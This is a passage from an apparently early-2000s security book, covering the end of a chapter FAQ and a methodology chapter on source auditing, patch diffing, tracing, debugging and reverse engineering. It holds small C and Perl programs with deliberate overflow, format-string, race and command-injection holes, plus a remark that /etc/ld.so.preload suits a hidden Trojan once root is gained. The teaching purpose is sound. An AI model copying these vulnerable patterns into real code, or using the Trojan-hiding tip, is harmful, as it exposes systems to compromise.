concepts presented in this chapter and to assist you with real-life implementation of these concepts. To have your questions about this chapter answered by the author, browse to www.syngress.com/solutions and click on the ¡§Ask the Author¡¨ form. Classes of Attack ¡E Chapter 3 97 Q: Is preventing information leakage ¡§security through obscurity?¡¨ A: Absolutely not.There is no logical reason for communicating credentials of a software package to users that should not be concerned with it. Stopping the flow of information makes it that much more resource-intensive for an attacker and increases the chances of the attacks being discovered. Q: Where can I get exploit code? A: Through full disclosure mailing lists such as Bugtraq (www.securityfocus.com) or through exploit archives such as PacketStorm (www.packetstormsecurity.org) or Church of the Swimming Elephant (www.cotse.com). Q: How can I protect my Whois information? A: Currently, there is little that you can do.You can always lie when you register your domain, but you might have problems later when you need to renew. Also, should you ever get into a domain dispute, having false registration information won¡¦t be likely to help your case. Q: Can other information be gained through DNS digging? A: Yes. Misconfigured name servers may allow zone transfers to arbitrary hosts, which could yield information about network design. |
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![]() Chapter 4 • Methodology
Introduction There are several ways to approach any problem; and which approach you choose usually depends on the resources available to you and the methodology with which you are most comfortable. In the case of vulnerability research challenges, the resources may be code, time, or tools. In some cases, you may be dealing with a software program for which the source code is readily available. For many people, reading the source code may be the easiest way for them to determine whether or not there are vulnerabilities; many vulnerabilities are tied to particular language functions or ways of calling external functions.The source code often gives the clearest picture of how this happens in a given program. Another method of determining how a program works, and therefore whether there are holes, is reverse engineering, which may require special tools, such as disassemblers and debuggers. Since much is lost in the translation from source code to object code, it can often be more difficult to determine exactly what is happening in reverse engineered code. The last method is black box testing. Black box testing allows only for the manipulation of the inputs and the viewing of a given system outputs, without the internals being known. In some cases (such as attempting to penetrate a remote system), black box testing may be the only method initially available. In other cases, it may be used to help chose where to focus further efforts. In this chapter, we cover the various methodologies used for vulnerability research, with examples for each method. Understanding Vulnerability Research Methodologies Let us break down vulnerability research methodologies using easily understood terms. A vulnerability is a problem, either exploitable or not, in anything from a microcontroller to a supercomputer. Research is the process of gathering information that may or may not lead to the discovery of a vulnerability. Methodologies are the commonly used, recommended, or widely accepted methods of vulnerability research. Vulnerability research methods are fundamentally the same everywhere. From the security enthusiast at home to the corporate code auditor, the methods and tools are the same. Methods ranging from lucky guesses to the scientific method and tools ranging from hex editors to code disassemblers are applied in everyday www.syngress.com www.syngress.com practice. Some of these methods can appear to be chaotic, while some present themselves as more detail-oriented and organized. Less experienced researchers might prefer a more organized approach to vulnerability research, whereas seasoned researchers with programming experience may rely more on instinct.The choice of methods tends to be a matter of personal preference. It should also be mentioned that different data types require different research methods. Handling binary data requires a very different approach than handling source code, so let’s examine these approaches separately. NOTE There are a number of different organization schemes used by researchers in the security community when researching vulnerabilities. These methods are varied; some individuals or groups rely on methodical, organized, militant audits of programs, performed on a piece-bypiece basis whereas others use methods with the consistency and organization of white noise. Organization is subjective, and best suited to a researcher’s taste. It is worth mentioning that a number of vulnerability tracking and software audit tracking packages are freely available; some packages are no more complex than a Web CGI and SQL Database, while others, such as Bugzilla, offer a number of features such as user accounts, bug ID numbers and tracking, and nice interfaces. Source Code Research Source code research entails obtaining the source of the program in its proverbial “potential energy” state.The program source may be written in one of any number of languages such as C, Perl, Java, C++,ASP, PHP, or the like. Source code research is typically first begun by searching for error-prone functions. Searching For Error-Prone Functions Source is audited in a number of ways.The first method is to use searching utilities to discover the use of certain error-prone functions in the source code.These functions may be searched for via the use of utilities such as grep. Some functions that may be researched are strcpy and sprintf.These C functions are habitually misused or exploited to perform nefarious activities.The use Methodology • Chapter 4 101 102 Chapter 4 • Methodology of these functions can often result in buffer overflows due to lack of bounds checking. Other functions, such as mktemp, may result in exploitable race conditions and the overwriting of files, or elevated privileges. Line-By-Line Review The next source code review method is a line-by-line review. Line-by-line reviews involve following the program through execution sequences.This is a more in-depth look at the program, which requires spending time to get familiar with all parts of the program. This type of research usually involves a person following the source through hypothetical execution sequences. Hypothetical execution sequences use a combination of different options supported by the program with varying input.The execution of the program is traced visually, with the researcher mentally tracking the various data passing through functions as they are handled by the program. Discovery Through Difference Discovery through difference is another method used to determine a package’s vulnerabilities. This type of research is performed when a vendor fixes a vulnerability in a software package, but doesn’t release details about the problem.This method is determines whether a file has been altered, and if so, which parts of the file have been altered from one release to the next. One of the most important utilities used in this type of research is diff. Diff is distributed with most UNIX operating systems, and is also available for a wide variety of other platforms through such groups as the Free Software Foundation. Diff compares two data samples, and displays any differences encountered.This program can be used on source files to output the exact differences between the source bases. The method of discovery through difference is usually performed to determine the nature and mode of a vulnerability about which the vendor has released few details. For example, software update announcements made by Freshmeat often include vague details about updates to a package that “may affect security,” such as a recent vulnerability discovered in the axspawn program. The vulnerability patch was announced as a security update for a potential buffer overflow. However, no other details were given about the vulnerability. Upon downloading the 0.2.1 and 0.2.1a versions of the packages, and using the diff utility to compare them, the problem became apparent: www.syngress.com Methodology • Chapter 4 103 elliptic@ellipse:~$ diff axspawn-0.2.1/axspawn.c axspawn- 0.2.1a/axspawn.c 491c491 < envc = 0; --- > envc = 0; 493c493 < sprintf(envp[envc++], "AXCALL=%s", call); --- > sprintf(envp[envc++], "AXCALL=%.22s", call); 495c495 < sprintf(envp[envc++], "CALL=%s", (char *)user); --- > sprintf(envp[envc++], "CALL=%.24s", (char *)user); 497c497 < sprintf(envp[envc++], "PROTOCOL=%s", protocol); --- > sprintf(envp[envc++], "PROTOCOL=%.20s", protocol); 500c500 < envp[envc] = NULL; --- > envp[envc] = NULL; As we can see, the first version of axspawn.c uses sprintf without any restrictions on the data length. In the second version, the data is length-restricted by adding format length specifiers. In some situations, the vendor may already do this work for us by releasing a patch that is a diff between the two source bases.This is usually the case with BSD-based operating systems such as FreeBSD.A vulnerability in the FreeBSD package tools during January of 2002 was discovered that could allow a user to extract data into a temporary directory and alter it.While this information was disclosed via the full disclosure method, the patch distributed for pkg_add tells us exactly where the vulnerability is at: --- usr.sbin/pkg_install/lib/pen.c 17 May 2001 12:33:39 -0000 +++ usr.sbin/pkg_install/lib/pen.c 7 Dec 2001 20:58:46 -0000 @@ -106,7 +106,7 @@ www.syngress.com 104 Chapter 4 • Methodology cleanup(0); errx(2, __FUNCTION__ ": can't mktemp '%s'", pen); } - if (chmod(pen, 0755) == FAIL) { + if (chmod(pen, 0700) == FAIL) { cleanup(0); errx(2, __FUNCTION__ ": can't mkdir '%s'", pen); } The sections of source being removed by the patch are denoted with a minus sign, while the plus sign denotes added sections.As we can see, the section of source that created the directory with permissions of 0755 is being replaced with a section that creates the directory with permissions of 0700. Research may not always be this easy—that said, let’s take a look at researching binary-only software. Binary Research While auditing source is the first-choice method of vulnerability research, binary research is often the only method we are left with.With the advent of the GNU License and open source movements, the option of obtaining the source code is more feasible, but not all vendors have embraced the movement. As such, a great many software packages remain closed-source. Tracing Binaries One method used to spot potential vulnerabilities is tracing the execution of the program.Various tools can be used to perform this task. Sun packages the truss program with Solaris for this purpose. Other operating systems include their own versions, such as strace for Linux. Tracing a program involves watching the program as it interacts with the operating system. Environment variables polled by the program can be revealed with flags used by the trace program. Additionally, the trace reveals memory addresses used by the program, along with other information.Tracing a program through its execution can yield information about problems at certain points of execution in the program. The use of tracing can help determine when and where in a given program a vulnerability occurs. www.syngress.com Methodology • Chapter 4 105 Debuggers Debuggers are another method of researching vulnerabilities within a program. Debuggers can be used to find problems within a program while it runs.There are various implementations of debuggers available.One of the more commonly used is the GNU Debugger, or GDB. Debuggers can be used to control the flow of a program as it executes.With a debugger, the whole of the program may be executed, or just certain parts.A debugger can display information such as registers, memory addresses, and other valuable information that can lead to finding an exploitable problem. Guideline-Based Auditing Another method of auditing binaries is by using established design documents (which should not be confused with source code). Design documents are typically engineering diagrams or information sheets, or specifications such as a Request For Comments (RFC). Researching a program through a protocol specification can lead to a number of different conclusions.This type of research can not only lead to determining the compliance of a software package with design specifications, it can also detail options within the program that may yield problems. By examining the foundation of a protocol such as Telnet or POP3, it is possible to test services against these protocols to determine their compliance. Also, applying known types of attacks (such as buffer overflows or format string attacks) to certain parts of the protocol implementation could lead to exploitation. Sniffers One final method we will mention is the use of sniffers as vulnerability research tools. Sniffers can be applied to networks as troubleshooting mechanisms or debugging tools. However, sniffers may also be used for a different purpose. Sniffers can be used monitor interactivity between systems and users.This can allow the graphing of trends that occur in packages, such as the generation of sequence numbers. It may also allow the monitoring of infrastructures like Common Gateway Interface, to determine the purpose of different CGIs, and gather information about how they may be made to misbehave. Sniffers work hand-in-hand with our previously mentioned Guideline-based auditing. Sniffers may also be used in the research of Web interfaces, or other network protocols which are not necessarily specified by any sort of public standard, but are commonly used. www.syngress.com 106 Chapter 4 • Methodology The Importance of Source Code Reviews Auditing source should be a part of any service deployment process.The act of auditing source involves searching for error-prone functions and using line-byline auditing methodologies. Often, problems are obscured by the fact that a given application’s source code may span multiple files.While the code of some applications may be contained in a single source file, the source code of applications such as mail transport agents,Web servers, and the like span several source files, header files, make files, and directories. Searching Error-Prone Functions Let us dig into the process of searching for error-prone functions.This type of search can be performed using a few different methods. One way is to use an editor and search for error-prone functions by opening each file and using the editor’s search function.This is time consuming.The more expedient and effi- cient method involves using the grep utility. Let’s look at a few rudimentary examples of problems we may find in source code, that include the above-mentioned functions. Buffer Overflows A buffer overflow, also known as a boundary condition error, occurs when an amount greater than storage set aside for the data is placed in memory. Elias Levy, also known as Aleph1, wrote an article about this, titled “Smashing the Stack for Fun and Profit.” It is available in Phrack issue 49, article number 14. Observe the following program: /* scpybufo.c */ /* Hal Flynn <mrhal@mrhal.com> */ /* December 31, 2001 */ /* scpybufo.c demonstrates the problem */ /* with the strcpy() function which */ /* is part of the c library. This */ /* program demonstrates strcpy not */ /* sufficiently checking input. When */ /* executed with an 8 byte argument, a */ /* buffer overflow occurs */ www.syngress.com Methodology • Chapter 4 107 #include <stdio.h> #include <strings.h> int main(int argc, char *argv[]) { overflow_function(*++argv); return (0); } void overflow_function(char *b) { char c[8]; strcpy(c, b); return; } In this C program, we can see the use of the strcpy function. Data is taken from argv[1], then copied into a character array of 8 bytes with the strcpy function. Since no size checking is performed on either variable, the 8-byte boundary of the second variable can be overrun, which results in a buffer overflow. Another commonly encountered error-prone function is sprintf.The sprintf function is another source of habitual buffer overflow problems. Observe the following code: /* sprbufo.c */ /* Hal Flynn <mrhal@mrhal.com> */ /* December 31, 2001 */ /* sprbufo.c demonstrates the problem */ /* with the sprintf() function which */ /* is part of the c library. This */ /* program demonstrates sprintf not */ /* sufficiently checking input. When */ /* executed with an argument of 8 bytes */ /* or more a buffer overflow occurs. */ www.syngress.com 108 Chapter 4 • Methodology #include <stdio.h> int main(int argc, char *argv[]) { overflow_function(*++argv); return (0); } void overflow_function(char *b) { char c[8]; sprintf(c, "%s", b); return; } As in the previous example, we have an array taken from argv[1] being copied to an array of 8 bytes of data.There is no check performed to ensure that the amount of data being copied between the arrays will actually fit, thus resulting in a potential buffer overflow. Similar to the strcpy function is strcat.A common programming error is the use of the strcat function without first checking the size of the array.This can be seen in the following example: /* scatbufo.c */ /* Hal Flynn <mrhal@mrhal.com> */ /* December 31, 2001 */ /* scatbufo.c demonstrates the problem */ /* with the strcat() function which */ /* is part of the c library. This */ /* program demonstrates strcat not */ /* sufficiently checking input. When */ /* executed with a 7 byte argument, a */ /* buffer overflow occurs. */ www.syngress.com Methodology • Chapter 4 109 #include <stdio.h> #include <strings.h> int main(int argc, char *argv[]) { overflow_function(*++argv); return (0); } void overflow_function(char *b) { char c[8] = "0"; strcat(c, b); return; } Data passed from argv[1] to the overflow_function.The data is then concatenated onto c, an 8-byte character array. Since the size of the data in argv[1] is not checked, the boundary of c may be overrun. The gets function is another problematic function in C.The GNU C Compiler will produce a warning message when it compiles code using the gets function. Gets does not perform checks on the amount of input received by a user. Observe the following code: /* getsbufo.c */ /* Hal Flynn <mrhal@mrhal.com> */ /* December 31, 2001 */ /* This program demonstrates how NOT */ /* to use the gets() function. gets() */ /* does not sufficient check input */ /* length, and can result in serious */ /* problems such as buffer overflows */ www.syngress.com 110 Chapter 4 • Methodology #include <stdio.h> int main() { get_input(); return (0); } void get_input(void) { char c[8]; printf("Enter a string greater than seven bytes: "); gets(c); return; } We can see the use of the gets function.When called, it places the data in the c character array. However, since this array is only 8 bytes in length, and gets does not perform proper checking of input, it is easily overflowed. For additional in-depth information on buffer overflows please refer to Chapter 8. Input Validation Bugs Another common programming problem is the lack of input validation by the program.The lack of input validation can allow a user to exploit programs such as setuid executables or Web applications such as CGIs, causing them to misbehave by passing various types of data to them. This type of problem can result in format string vulnerabilities.A format string vulnerability consists of passing several string specifiers such as %i%i%i%i or %n%n%n%n to a program and possibly resulting in code execution. Format strings are covered in depth in Chapter 9. www.syngress.com Methodology • Chapter 4 111 Rather than covering them in depth, we will provide an example of a format string vulnerability in code. Observe the following: /* fmtstr.c */ /* Hal Flynn <mrhal@mrhal.com> */ /* December 31, 2001 */ /* fmtstr.c demonstrates a format */ /* string vulnerability. By supplying */ /* format specifiers as arguments, */ /* attackers may read or write to */ /* memory. */ #include <stdio.h> int main(int argc, char *argv[]) { printf(*++argv); return (0); } By running the above program with a string of %n format specifiers, a user could print to arbitrary locations in memory. If this were a setuid root executable, this could be exploited to execute code with root privileges. Lack of input validation by Web applications such as CGIs is another commonly occurring problem. Often, poorly written CGIs (especially those written in Perl) permit the escaping of commands by encapsulating them in special characters. This can allow one to execute arbitrary commands on a system with the privileges of the Web user.The problem could be exploited to carry out commands such as removing the index.html, if that file is owned and write-accessible by the HTTP process. It could even result in a user binding a shell to an arbitrary port on the system, gaining local access with the permissions of the HTTP process. This type of problem could also result in a user being able to execute arbitrary SQL commands. CGI is commonly used to facilitate communication between a Web front-end and an SQL database back-end, such as Oracle, MySQL, or Microsoft SQL Server. A user who is able to execute arbitrary SQL www.syngress.com 112 Chapter 4 • Methodology commands could view arbitrary tables, perform functions within the database, and potentially even drop tables. Observe the following open: #!/usr/bin/perl open("ls $ARGV[0] |"); This function does not check the input from $ARGV[0].The intended directory may be escaped by supplying dot-dot (..) specifiers to the command, which could list the directory above, and potentially reveal sensitive information.A deeper discussion of input validation bugs is available in Chapter 7. Race Conditions Race conditions are a commonly occurring programming error that can result in some serious implications. A race condition can be defined as a situation where one can beat a program to a certain event.This can be anything from the locking of memory to prevent another process from altering the data in a shared segment scenario, to the creation of a file within the file system. A common programming problem is the use of the mktemp function. Let’s look at the following program: /* mtmprace.c */ /* Hal Flynn <mrhal@mrhal.com> */ /* mtmprace.c creates a file in the */ /* temporary directory that can be */ /* easily guessed, and exploited */ /* through a symbolic link attack. */ #include <stdio.h> #include <stdlib.h> int main() { char *example; char *outfile; char ex[] = "/tmp/exampleXXXXXX"; example = ex; www.syngress.com Methodology • Chapter 4 113 mktemp(example); outfile = fopen(example, "w"); return (0); } This program will, on some operating systems, create a file in the temporary directory that consists of a predetermined name (it’s called example in the above source) and ending in six characters, the first five being the process ID, and the final being a letter.The first problem in this program is that a race occurs between the check for the existence of the file name and the creation of the file. Additionally, the name can be easily guessed as the process ID can be predicted. Therefore, the maximum amount of names the file could use is limited by the English alphabet, totaling 26 variations.This could result in a symbolic link attack.To determine whether or not an operating system is using a vulnerable implementation, examine the files created by this program in the /tmp directory. By using a utility such as grep, we can investigate large amounts of code for common problems. Does this still ensure we are safe from vulnerabilities? No. It does, however, help us find and eliminate the larger part of the programming problems encountered in programs.The only sure method that one can use to ensure a secure piece of software is to have multiple parties perform a line-byline audit. And even then, the security of the software can only be considered “high,” and not totally secure. Reverse Engineering Techniques Reverse engineering programs are one of the most commonly used and accurate methods of finding vulnerabilities in a closed-source program. Reverse engineering can be performed with a number of different tools, varying by operating system and personal taste. However, the methods used to reverse engineer are similar in most instances. Generally, you will want to start at a high level and work your way down. In most cases, this will mean starting with some system monitoring tools to determine what kinds of files and other resources the program accesses. (A notable exception is if the program is primarily a network program, in which case you may want to skip straight to packet sniffing.) www.syngress.com 114 Chapter 4 • Methodology Windows doesn’t come with any tools of this sort, so we have to go to a third party to get them.To date, the premier source of these kinds of tools for Windows has been the SysInternals site, which can be found at www.sysinternals. com. In particular, the tools of interest are FileMon, RegMon, and if you’re using NT, HandleEx.You’ll learn more about these tools in Chapter 5. All you need to know here is that these tools will allow you to monitor a running program (or programs) to see what files are being accessed, whether a program is reading or writing, where in the file it is, and what other files it’s looking for. That’s the FileMon piece. RegMon allows you to monitor much the same for the Windows Registry; what keys the program is accessing, modifying, reading, looking for, etc. HandleEx shows similar information on NT, but is organized in a slightly different manner. Its output is organized by process, file handle, and what the file handle is pointing to. www.syngress.com VB Decompilers A fair amount of the code in the world is written in Visual Basic (VB). This includes both malicious code and regular programs. VB presents a special challenge to someone wanting to reverse engineer compiled code written in that language. The last publicly-available VB decompiler only works up through VB3. Starting in VB5, parts of a compiled VB program will be “native code” (regular Windows calls), and parts of it will be “pcode”, which is a bytecode, similar in concept to that to which Java compiles. The Visual Basic DLL contains an interpreter for this code. The problem is, there is very little documentation available as to what codes translate to what VB functions in a compiled program. You could always decompile the VB DLL, and make your own map, but that would be a massive undertaking. The main response to the problem by the underground has been to use debugging techniques instead. However, this group of people has a different goal in mind, mainly cracking copy protection mechanisms. Thus, the information available in those areas is not always directly applicable to the problem at hand. Most of the public work done in those areas involves stepping through the code in order to find a section that checks for a serial number, for example, and disables portions of the program that don’t check out. The goal in that case is to install a bypass. Still, such information is a start for the VB analyst. Notes from the Underground… Methodology • Chapter 4 115 As an added bonus, there are free versions of nearly all the SysInternals tools, and most come with source code! (The SysInternals guys run a companion Web site named Winternals.com where they sell the non-free tools with a little more functionality added.) UNIX users won’t find that to be a big deal, but it’s still pretty uncommon on the Windows side. Most UNIX distributions come with a set of tools that perform the equivalent function. According to the Rosetta Stone (a list of what a function is called, cross-referenced by OS.The Rosetta Stone can be found at http://bhami.com/rosetta.html), there are a number of tracing programs. Of course, since this is a pretty low-level function, each tracing tool tends to work with a limited set of OSes. Examples include trace, strace, ktrace, and truss.The following example is done on Red Hat Linux, version 6.2, using the strace utility. What strace (and most of the other trace utilities mentioned) does is show system (kernel) calls and their parameters.We can learn a lot about how a program works this way. Rather than just dump a bunch of raw output into your lap, I’ve inserted explanatory comments in the output: [elliptic@ellipse]$ echo hello > test [elliptic@ellipse]$ strace cat test execve("/bin/cat", ["cat", "test"], [/* 21 vars */]) = 0 Strace output doesn’t begin until the program execution call is made for cat. Thus, we don’t see the process the shell went through to find cat. By the time strace kicks in, it’s been located in /bin.We see cat is started with an argument of “test,” and a list of 21 environment variables. First item of input: arguments. Second: environment variables. brk(0) = 0x804b160 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, - 1, 0) = 0x40014000 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) The execve call begins its normal loading process; allocating memory, etc. Note the return value is –1, which indicates an error.The error interpretation is “No such file...”; indeed, no such file exists.While not exactly “input,” this makes it clear that if we were able to drop a file by that name, with the right function names, into the /etc directory, execve would happily run parts of it for us.That www.syngress.com 116 Chapter 4 • Methodology would be really useful if root came by later and ran something. Of course, to be able to do that, we’d need to be able to drop a new file into /etc, which we can’t do unless someone has messed up the file system permissions. On most UNIX systems, the ability to write to /etc, means we can get root access any number of ways.This is just another reason why regular users shouldn’t be able to write to /etc. Of course, if we’re going to hide a Trojan horse somewhere (after we’ve already broken root), this might be a good spot. open("/etc/ld.so.cache", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=12431, ...}) = 0 old_mmap(NULL, 12431, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40015000 close(4) = 0 open("/lib/libc.so.6", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0 read(4, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096 The first 4K of libc is read. Libc is the standard shared library where reside all the functions that you call when you do C programming (such as printf, scanf, etc.). old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40019000 mprotect(0x40106000, 30812, PROT_NONE) = 0 old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 4, 0xec000) = 0x40106000 old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_ANONYMOUS, -1, 0) = 0x4010a000 close(4) = 0 mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0 mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0 munmap(0x40015000, 12431) = 0 personality(PER_LINUX) = 0 getpid() = 9271 brk(0) = 0x804b160 brk(0x804b198) = 0x804b198 brk(0x804c000) = 0x804c000 open("/usr/share/locale/locale.alias", O_RDONLY) = 4 www.syngress.com Methodology • Chapter 4 117 fstat64(0x4, 0xbfffb79c) = -1 ENOSYS (Function not implemented) fstat(4, {st_mode=S_IFREG|0644, st_size=2265, ...}) = 0 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, - 1, 0) = 0x40015000 read(4, "# Locale name alias data base.\n#"..., 4096) = 2265 read(4, "", 4096) = 0 close(4) = 0 munmap(0x40015000, 4096) = 0 When programs contain a setlocale function call, libc reads the locale information to determine the correct way to display numbers, dates, times, etc.Again, permissions are such that you can’t modify the locale files without root access, but it’s still something to watch for. Notice that the file permissions are conveniently printed in each fstat call (that’s the 0644 above, for example).This makes it easy to visually watch for bad permissions. If you do find a locale file to which you can write, you might be able to cause a buffer overflow in libc.Third (indirect) item of input: locale files. open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en_US/LC_MESSAGES", O_RDONLY) = 4 fstat(4, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 close(4) = 0 open("/usr/share/locale/en_US/LC_MESSAGES/SYS_LC_MES SAGES", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=44, ...}) = 0 old_mmap(NULL, 44, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40015000 close(4) = 0 open("/usr/share/locale/en_US/LC_MONETARY", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=93, ...}) = 0 old_mmap(NULL, 93, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40016000 close(4) = 0 open("/usr/share/locale/en_US/LC_COLLATE", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=29970, ...}) = 0 old_mmap(NULL, 29970, PROT_READ, MAP_PRIVATE, 4, 0) = 0x4010e000 close(4) = 0 www.syngress.com 118 Chapter 4 • Methodology brk(0x804d000) = 0x804d000 open("/usr/share/locale/en_US/LC_TIME", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=508, ...}) = 0 old_mmap(NULL, 508, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40017000 close(4) = 0 open("/usr/share/locale/en_US/LC_NUMERIC", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=27, ...}) = 0 old_mmap(NULL, 27, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40018000 close(4) = 0 open("/usr/share/locale/en_US/LC_CTYPE", O_RDONLY) = 4 fstat(4, {st_mode=S_IFREG|0644, st_size=87756, ...}) = 0 old_mmap(NULL, 87756, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40116000 close(4) = 0 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0 open("test", O_RDONLY|O_LARGEFILE) = 4 fstat(4, {st_mode=S_IFREG|0664, st_size=6, ...}) = 0 Finally, cat opens our file “test.” Certainly, it counts as input, but we can feel pretty safe that cat won’t blow up based on anything inside the file, because of what cat’s function is. In other cases, you would definitely want to count the input files. read(4, "hello\n", 512) = 6 write(1, "hello\n", 6) = 6 read(4, "", 512) = 0 close(4) = 0 close(1) = 0 _exit(0) = ? To finish, cat reads up to 512 bytes from the file (and gets 6) and writes them to the screen (well, file handle 1, which goes to STDOUT at the time). It then tries to read up to another 512 bytes of the file, and it gets 0, which is the indicator that it’s at the end of the file. So, it closes its file handles and exits clean (exit code of 0 is normal exit). Naturally, I picked a super-simple example to demonstrate.The cat command is simple enough that we can easily guess what it does, processing-wise, between calls. In pseudocode: www.syngress.com Methodology • Chapter 4 119 int count, handle string contents handle = open (argv[1]) while (count = read (handle, contents, 512)) write (STDOUT, contents, count) exit (0) For comparison purposes, here’s the output from truss for the same command on a Solaris 7 (x86) machine: execve("/usr/bin/cat", 0x08047E50, 0x08047E5C) argc = 2 open("/dev/zero", O_RDONLY) = 3 mmap(0x00000000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xDFBE1000 xstat(2, "/usr/bin/cat", 0x08047BCC) = 0 sysconfig(_CONFIG_PAGESIZE) = 4096 open("/usr/lib/libc.so.1", O_RDONLY) = 4 fxstat(2, 4, 0x08047A0C) = 0 mmap(0x00000000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0xDFBDF000 mmap(0x00000000, 598016, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0xDFB4C000 mmap(0xDFBD6000, 24392, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED, 4, 561152) = 0xDFBD6000 mmap(0xDFBDC000, 6356, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED, 3, 0) = 0xDFBDC000 close(4) = 0 open("/usr/lib/libdl.so.1", O_RDONLY) = 4 fxstat(2, 4, 0x08047A0C) = 0 mmap(0xDFBDF000, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0) = 0xDFBDF000 close(4) = 0 close(3) = 0 sysi86(SI86FPHW, 0xDFBDD8C0, 0x08047E0C, 0xDFBFCEA0) = 0x00000000 fstat64(1, 0x08047D80) = 0 open64("test", O_RDONLY) = 3 www.syngress.com 120 Chapter 4 • Methodology fstat64(3, 0x08047CF0) = 0 llseek(3, 0, SEEK_CUR) = 0 mmap64(0x00000000, 6, PROT_READ, MAP_SHARED, 3, 0) = 0xDFB4A000 read(3, " h", 1) = 1 memcntl(0xDFB4A000, 6, MC_ADVISE, 0x0002, 0, 0) = 0 write(1, " h e l l o\n", 6) = 6 llseek(3, 6, SEEK_SET) = 6 munmap(0xDFB4A000, 6) = 0 llseek(3, 0, SEEK_CUR) = 6 close(3) = 0 close(1) = 0 llseek(0, 0, SEEK_CUR) = 296569 _exit(0) Based on the bit at the end, we can infer that the Solaris cat command works a little differently; it appears that it uses a memory-mapped file to pass a memory range straight to a write call. An experiment (not shown here) with a larger file showed that it would do the memorymap/write pair in a loop, handling 256K bytes at a time. The point of showing these traces was not to learn how to use the trace tools (that would take several chapters to describe properly, though it is worth learning). Rather, it was to demonstrate the kinds of things you can learn by asking the operating system to tell you what it’s up to. For a more involved program, you’d be looking for things like fixed-name /tmp files, reading from files writeable by anyone, any exec calls, and so on. Disassemblers, Decompilers, and Debuggers Drilling down to attacks on the binary code itself is the next stop.A debugger is a piece of software that will take control of another program and allow things like stopping at certain points in the execution, changing variables, and even changing the machine code on the fly in some cases. However, the debugger’s ability to do this may depend on whether the symbol table is attached to the executable (for most binary-only files, it won’t be). Under those circumstances, the debugger may be able to do some functions, but you may have to do a lot of manual work, like setting breakpoints on memory addresses rather than function names. A decompiler (also called a disassembler) is a program that takes binary code and turns it into some higher-level language, often assembly language. Some can do www.syngress.com Methodology • Chapter 4 121 rudimentary C code, but the code ends up being pretty rough. A decompiler attempts to deduce some of the original source code from the binary (object) code, but a lot of information that programmers rely on during development is lost during the compilation process; for example, variable names. Often, a decompiler can only name variables with non-useful numeric names while decompiling unless the symbol tables are present. The problem more or less boils down to you having to be able to read assembly code in order for a decompiler to be useful to you. Having said that, let’s take a look at an example of what a decompiler produces. One commercial decompiler for Windows that has a good reputation is IDA Pro, from DataRescue (shown in Figure 4.1). IDA Pro is capable of decompiling code for a large number of processor families, including the Java Virtual Machine. Here, we’ve used IDA Pro to disassemble mspaint.exe (Paintbrush).We’ve scrolled to the section where IDA Pro has identified the external functions upon www.syngress.com Figure 4.1 IDA Pro in Action 122 Chapter 4 • Methodology which mspaint.exe calls. For OSes that support shared libraries (like Windows and all the modern UNIXs), an executable program has to keep a list of the libraries it will need.This list is usually human readable if you look inside the binary file. The OS needs this list of libraries so it can load them for the program’s use. Decompilers take advantage of this, and are able to insert the names into the code in most cases, to make it easier for people to read. We don’t have the symbol table for mspaint.exe, so most of this file is unnamed assembly code. If you want to try out IDA Pro for yourself, a limited trial version of IDA Pro is available for download at www.datarescue.com/idabase/ida.htm. Another very popular debugger is the SoftICE debugger from Numega. Information about softICE can be found at http://www.compuware.com/products/nu...rivercentral/. To contrast, I’ve prepared a short C program (the classic “Hello World”) that I’ve compiled with symbols, to use with the GNU Debugger (GDB). Here’s the C code: #include <stdio.h> int main () { printf ("Hello World\n"); return (0); } Then, I compile it with the debugging information turned on (the –g option.): [elliptic@ellipse]$ gcc -g hello.c -o hello [elliptic@ellipse]$ ./hello Hello World I then run it through GDB. Comments inline: [elliptic@ellipse]$ gdb hello GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. www.syngress.com Methodology • Chapter 4 123 Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) break main I set a breakpoint at the main function. As soon as the program enters main, the execution pauses and I get control.The breakpoint is set before run. Breakpoint 1 at 0x80483d3: file hello.c, line 5. (gdb) run The run command executes our hello program in the debugger. Starting program: /home/ryan/hello Breakpoint 1, main () at hello.c:5 5 printf 